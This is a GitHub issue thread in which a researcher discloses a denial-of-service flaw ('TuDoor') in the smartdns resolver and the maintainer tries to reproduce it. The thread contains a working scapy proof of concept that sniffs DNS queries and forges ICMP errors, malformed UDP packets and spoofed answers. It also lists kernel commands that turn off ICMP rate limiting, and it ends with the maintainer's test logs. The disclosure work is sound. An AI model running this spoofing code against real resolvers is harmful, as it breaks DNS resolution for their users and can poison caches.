pymumu / smartdns

A local DNS server to obtain the fastest website IP for the best Internet experience, support DoT, DoH. 一个本地DNS服务器,获取最快的网站IP,获得最佳上网体验,支持DoH,DoT。
https://pymumu.github.io/smartdns/
GNU General Public License v3.0
8.49k stars 1.09k forks source link

DoS Vulnerabilities of SmartDNS (TuDoor Attack) #1829

Open idealeer opened 1 month ago

idealeer commented 1 month ago

Overview

We found a new vulnerability in DNS resolving software, which triggers a resolver to ignore valid responses thus causing DoS (denial of service) for normal resolution. The effects of an exploit would be widespread and highly impactful, as the attacker could just forge a response targeting the source port of vulnerable resolver without the need to guess the correct TXID.

Vulnerability Details

After analyzing the source code of all DNS software, we locate a response preprocessing part that receives incoming packets and parses them before processing valid DNS data.

We find that there is a huge implementation difference between different DNS software on the preprocessing operation. Specially, some software just accept the first-incoming packet and ignore all the other responses for each outgoing query. Unfortunately, they don't check the packet format and TXID. If the source port is matched, these software will accept these packets.

Regarding this sort of processing, we propose a DoS attack to cause vulnerable resolvers to ignore any valid response and terminate current resolution process. We name it TuDoor attack.

General attack steps:

  1. The target resolver sends a query for current resolution.
  2. The attacker forges malformed packets and returns them to the target resolver earlier to legal response.
  3. To hitting the correct source port, the attacker could just brute-force the 65,535 port numbers. By doing so, all queries using any port of these 65,535 ports would fail.
  4. After receiving malformed packets, the target resolver just decides that there is something wrong with the remote server and ignores any follow-up responses.
  5. Thus, current resolution fails and a DoS attack is achieved.

Malformed packets :

There are two type of malformed packets: ICMP packet and bad-format UDP packet. For example:

ICMP packet (the attacker even needn't to impersonate the remote server's IP).

spf_resp = IP(src="8.8.8.8", dst=pkt[IP].src) / ICMP(type=3, code=3) / \
           IP(src=pkt[IP].src, dst=pkt[IP].dst) / UDP(sport=pkt[UDP].sport, dport=int(PORT_OF_SERVER))

Bad-format UDP packet with null or malformed DNS layer payload (the attacker needs to forge the remote server's IP).

spf_resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) / UDP(sport=int(PORT_OF_SERVER), dport=pkt[UDP].sport)
# or other packets, please check the poc for details

Note:

To enlarge the impact, the attacker could DoS the response for queries targeting TLD so that all follow-up resolution under the TLD will fail.

Furthermore, to handle the retry and multiple queries on different nameserver IPs, the attacker could send these malformed packets from multiple machines round by round.

Threat Surface

Software Version ICMP packet Bad-format UDP packet
SmartDNS latest Vulnerable Vulnerable

Mitigation

Resolvers should wait for a timeout until receiving a legal DNS response and ignore any malformed packets.

We recommend that all implementations should take a similar way to guarantee receiving a valid response rather than just receiving one, processing one, and ignoring others.

Reference

https://www.computer.org/csdl/proceedings-article/sp/2024/313000a181/1V28Z5fBEVG

pymumu commented 1 month ago

Maybe I don't fully understand how this attack works. The smartdns code checks the TXID and UDP packet format before returning the results to the client. The corresponding code is as follows: https://github.com/pymumu/smartdns/blob/84f217dbd19f97e30f24af640ddb4cd21ae1e3ec/src/dns_client.c#L1828-L1870

line 1828 checks udp packet format. line 1867 checks TXID.

What's missing is a check of the server address. I wonder if adding server address checking can avoid this problem?

In addition, if there is a cache poisoning attack similar to GFW, I think it is a problem with the UDP DNS protocol. There may be no solution except DNSSEC, DOT, and DOH.

idealeer commented 1 month ago

Yeah. SmartDNS does check the txid and src port. Also, it will ignore malformed response packets. But if it receives an icmp error message (only validating the inner 4 tuples while not checking the txid), it will terminate and stop receiving any promising legal response.

pymumu commented 1 month ago

Is there a way to reproduce the problem? Or any suggestions for a fix?

idealeer commented 1 month ago

i think the simplest way to fix it is to ignore the ICMP error message.

idealeer commented 1 month ago

PoC is attached.

Run the code, dig @smartdns i.domain (starts with i), if smartdns receives an ICMP error message, it will terminate the current resolution process.

from scapy.all import *
from scapy.layers.dns import DNS, DNSRR, DNSQR
from scapy.layers.inet import IP, UDP, ICMP

IFACE_LAN = "interface"
DNS_SERVER_IP = "x.x.x.x"
PORT_OF_SERVER = "53"
BPF_FILTER = "udp port " + PORT_OF_SERVER + " and ip dst " + DNS_SERVER_IP

# bind
def dns_response(pkt):
    try:

        if pkt[DNS].qd.qname.decode("utf-8").lower().startswith("1."):
            spf_resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) / UDP(sport=int(PORT_OF_SERVER), dport=pkt[UDP].sport)
            send(spf_resp, verbose=0, iface=IFACE_LAN)

            spf_resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) / UDP(sport=int(PORT_OF_SERVER), dport=pkt[UDP].sport)
            spf_resp /= DNS(id=pkt[DNS].id, qr=1, opcode=0, aa=1, tc=0, rcode=0,
                            qdcount=1, qd=pkt[DNS].qd,
                            ancount=1, an=DNSRR(rrname=pkt[DNS].qd.qname, type=1, ttl=10, rdata="1.2.3.4"))
            send(spf_resp, verbose=0, iface=IFACE_LAN)
            return

        if pkt[DNS].qd.qname.decode("utf-8").lower().startswith("i."):
            spf_resp = IP(src="8.8.8.8", dst=pkt[IP].src) / ICMP(type=3, code=3) / \
                       IP(src=pkt[IP].src, dst=pkt[IP].dst) / UDP(sport=pkt[UDP].sport, dport=int(PORT_OF_SERVER))
            send(spf_resp, verbose=0, iface=IFACE_LAN)

            spf_resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) / UDP(sport=int(PORT_OF_SERVER), dport=pkt[UDP].sport)
            spf_resp /= DNS(id=pkt[DNS].id, qr=1, opcode=0, aa=1, tc=0, rcode=0,
                            qdcount=1, qd=pkt[DNS].qd,
                            ancount=1, an=DNSRR(rrname=pkt[DNS].qd.qname, type=1, ttl=10, rdata="1.2.3.4"))
            send(spf_resp, verbose=0, iface=IFACE_LAN)
            return

        spf_resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) / UDP(sport=int(PORT_OF_SERVER), dport=pkt[UDP].sport)
        spf_resp /= DNS(id=pkt[DNS].id, qr=1, aa=1, rcode=0,
                        qdcount=1, qd=pkt[DNS].qd,
                        ancount=1, an=DNSRR(rrname=pkt[DNS].qd.qname, type=1, ttl=10, rdata=DNS_SERVER_IP))
        send(spf_resp, verbose=0, iface=IFACE_LAN)

    except Exception as error:
        pass

sniff(filter=BPF_FILTER, prn=dns_response, iface=IFACE_LAN)

# note: to run this script, remember to cancel ICMP pkt generated from the kernel but not block it
# 3 cmds need to run
# sudo sysctl net.ipv4.icmp_msgs_burst=0
# sudo sysctl net.ipv4.icmp_msgs_per_sec=0
# sudo sysctl net.ipv4.icmp_ratelimit=0
pymumu commented 1 month ago

I did some tests and couldn't reproduce the issue. The python script and smartdns run on the same server, and the icmp kernel parameters are also set. But it seems that the data sent by the python script cannot be received by smartdns. Is it filtered out by the kernel, or am I missing something?

upstream server is set to 1.1.1.4 tested kernel:5.10 and 6.1 scapy version: 2.6.0

script log

Ether / IP / UDP / DNS Qry b'i.example.com.'
txid 60656
== send1 packet: IP / ICMP / IP / UDP 192.168.59.2:42106 > 1.1.1.4:domain
.
Sent 1 packets.
== send2 packet: IP / UDP / DNS Ans 1.2.3.4
Destination IP: 192.168.59.2, Destination Port: 42106, Source IP: 1.1.1.4, Source Port: 53
.
Sent 1 packets.

modified script

        if pkt[DNS].qd.qname.decode("utf-8").lower().startswith("i."):
            print(pkt)
            print("txid", pkt[DNS].id)
            spf_resp = IP(src="1.1.1.4", dst=pkt[IP].src) / ICMP(type=3, code=3) / \
                       IP(src=pkt[IP].src, dst=pkt[IP].dst) / UDP(sport=pkt[UDP].sport, dport=int(PORT_OF_SERVER))
            print("== send1 packet:", spf_resp)
            sendp(spf_resp, verbose=1, iface=IFACE_LAN)

            spf_resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) / UDP(sport=int(PORT_OF_SERVER), dport=pkt[UDP].sport)
            spf_resp /= DNS(id=pkt[DNS].id, qr=1, opcode=0, aa=1, tc=0, rcode=0,
                            qdcount=1, qd=pkt[DNS].qd,
                            ancount=1, an=DNSRR(rrname=pkt[DNS].qd.qname, type=1, ttl=10, rdata="1.2.3.4"))
            print("== send2 packet:", spf_resp)
            print(f"Destination IP: {spf_resp[IP].dst}, Destination Port: {spf_resp[UDP].dport}, Source IP: {spf_resp[IP].src}, Source Port: {spf_resp[UDP].sport}")
            sendp(spf_resp, verbose=1, iface=IFACE_LAN)
            return

The test script you provided report some error, changing send to sendp has no effect.

scapy/sendrecv.py:479: SyntaxWarning: 'iface' has no effect on L3 I/O send(). For multicast/link-local see https://scapy.readthedocs.io/en/latest/usage.html#multicast
  warnings.warn(
WARNING: MAC address to reach destination not found. Using broadcast.

smartdns log, no packets received

[2024-10-11 23:22:15,474][DEBUG][     dns_server.c:7343] recv query packet from 192.168.60.9, len = 54, type = 0
[2024-10-11 23:22:15,474][DEBUG][            dns.c:2237] opt type 10
[2024-10-11 23:22:15,474][DEBUG][     dns_server.c:7363] request qdcount = 1, ancount = 0, nscount = 0, nrcount = 0, len = 54, id = 36484, tc = 0, rd = 1, ra = 0, rcode = 0
[2024-10-11 23:22:15,474][DEBUG][     dns_server.c:7386] query i.example.com from 192.168.60.9, qtype: 1, id: 36484, query-num: 1
[2024-10-11 23:22:15,474][DEBUG][     dns_client.c:4044] send query to server 1.1.1.4:53, type:0
[2024-10-11 23:22:15,474][ INFO][     dns_client.c:4443] request: i.example.com, qtype: 1, id: 60656, group: default
[2024-10-11 23:22:16,004][DEBUG][     dns_client.c:4317] retry query i.example.com, type: 1, id: 60656
[2024-10-11 23:22:16,004][DEBUG][     dns_client.c:4044] send query to server 1.1.1.4:53, type:0
[2024-10-11 23:22:16,505][DEBUG][     dns_client.c:4317] retry query i.example.com, type: 1, id: 60656
[2024-10-11 23:22:16,505][DEBUG][     dns_client.c:4044] send query to server 1.1.1.4:53, type:0
[2024-10-11 23:22:17,105][DEBUG][     dns_client.c:4317] retry query i.example.com, type: 1, id: 60656
[2024-10-11 23:22:17,105][DEBUG][     dns_client.c:4044] send query to server 1.1.1.4:53, type:0
[2024-10-11 23:22:17,604][DEBUG][     dns_client.c:4314] retry query i.example.com, type: 1, id: 60656 failed
[2024-10-11 23:22:17,604][DEBUG][     dns_client.c:1772] result: i.example.com, qtype: 1, has-result: 0, id 60656
[2024-10-11 23:22:17,604][ INFO][     dns_server.c:2635] result: i.example.com, qtype: 1, rtt: -0.1 ms, 0.0.0.0
[2024-10-11 23:22:17,604][DEBUG][     dns_server.c:2354] reply i.example.com qtype: 1, rcode: 0, reply: 1
[2024-10-11 23:22:17,604][ INFO][     dns_server.c:1252] result: i.example.com, qtype: 1, rtcode: 2, id: 36484
[2024-10-11 23:22:17,604][ INFO][     dns_server.c:2411] result: i.example.com, client: 192.168.60.9, qtype: 1, id: 36484, group: default, time: 2130ms
[2024-10-11 23:22:17,604][DEBUG][     dns_server.c:2354] reply i.example.com qtype: 1, rcode: 0, reply: 0
[2024-10-11 23:22:17,604][ INFO][     dns_server.c:1252] result: i.example.com, qtype: 1, rtcode: 2, id: 36484